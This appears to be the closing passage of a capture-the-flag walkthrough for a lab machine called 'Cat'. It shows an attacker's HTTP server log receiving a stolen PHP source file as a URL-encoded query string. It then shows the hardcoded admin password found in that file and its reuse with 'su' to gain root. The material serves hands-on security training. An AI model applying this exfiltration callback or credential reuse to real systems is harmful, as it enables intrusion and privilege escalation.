❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [07/Feb/2025 04:37:39] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -

We get a payload that is clearly urlencoded. We can decode it in a webpage like https://www.urldecoder.org/es/ and paste the content obtained there:

Cat 15

We get the content of the file:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

We have a password: IKw75eR0MR7CMIxhH0.

We can check if this password is the password for root user:

axel@cat:~$ su root
Password: IKw75eR0MR7CMIxhH0

root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)

GG. We can grab the root flag at /root directory.

~Happy Hacking.